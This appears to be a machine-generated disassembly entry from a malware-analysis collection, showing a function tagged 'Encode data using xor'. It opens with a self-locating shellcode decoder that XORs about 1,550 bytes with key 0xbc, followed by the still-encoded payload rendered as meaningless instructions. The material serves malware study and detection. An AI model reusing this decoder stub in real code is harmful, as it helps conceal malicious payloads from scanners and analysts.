Function at 0x805a8c
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x805a92
pop ebp
sub ebp, 6
sub ebp, 0x405a8c
jmp 0x805af0
jmp 0x805af9
mov eax, 0x405a8c
add eax, ebp
add eax, 0x93
mov ecx, 0x61e
mov edx, 0x506bd7bc
xor byte [eax], dl
inc eax
dec ecx
jne 0x805b10
jmp 0x805b23
salc
cld
aam 0xbc
lodsb al, byte [esi]
mov esp, 0x70bcd4bc
nop
mov esp, 0x43ec7c8f
sub dword [ebp + ebp*2 + 0x37ecbc8a], edi
jno 0x805b73
xor eax, 0xbcbcbc80
cmp eax, 0xbcbc447d
mov esp, 0xba0471bf
mov esp, 0x9406bcbc
mov esp, 0x5e4bbcbc
mov edi, 0xb03d3774
mov esp, 0x79bfbcbc
in al, dx
aam 0x65
invalid
mov ecx, 0x55bcbcbc
xchg esp, eax
mov esp, 0xe8e9bcbc
loope 0x805bb7
cmp dword [esp + edi*4 + 0x2937bcbc], esi
mov al, 0xbc
mov esp, 0xac3137bc
mov esp, 0x557dbcbc
mov esi, 0x7e3fbe8d
mov eax, 0x4839b3f5
inc ebx
inc ebx
inc ebx
loope 0x805c20
mov al, 0xbc
aaa
xor byte [eax - 0x43434348], bl
aam 0x65
invalid
cwde
in eax, dx
push esp
mov ecx, 0x55bcbcbc
invalid
inc ebx
inc ebx
xchg ebp, eax
invalid
inc ebx
xchg ebp, eax
call 0x7dc01aac
mov edx, 0x3fb8563f
push esp
mov ecx, 0x43431755
inc ebx
loope 0x805cb3
mov al, 0xbc
jmp 0xec6aac73
mov ah, 0x40
push cs
cmp al, 0x36
mov edx, 0xbcbd7a3d
mov esp, 0x3dbb34bc
jnp 0x805c10
mov esp, 0xbe07bcbc
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
inc ebx
inc ebx
inc ebx
mov esi, 0xb939b36e
mov esp, 0xaa36bcbc
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
salc
mov esp, 0x7c8fbcbc
mov esi, 0xb939b36e
mov esp, 0xaa36bcbc
jl 0x805c42
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
cmp dword [ecx + 0x36bcbcbc], edi
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
xchg esi, eax
mov ebp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x805c64
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x805c73
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x805c82
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x805c86
cmp byte [edx + 0x37bcbcbc], bh
arpl word [edi + 0x34bf3664], dx
mov ebx, 0xbcbe07fb
mov esp, 0x43cc55bc
inc ebx
inc ebx
add al, 0xbd
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0x805cbe
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3e
bound eax, qword [ebx + 0x43]
inc ebx
xchg edi, eax
jg 0x805d1c
mov ebp, 0xb3bcbcbc
cmp dword [eax + 0x5bcbcbc], ecx
mov ebp, 0xbebcbcbc
outsb dx, byte [esi]
mov esp, 0xbd05bcbc
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jne 0x805cf2
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3e
bound eax, qword [ebx + 0x43]
inc ebx
ljmp 0x184f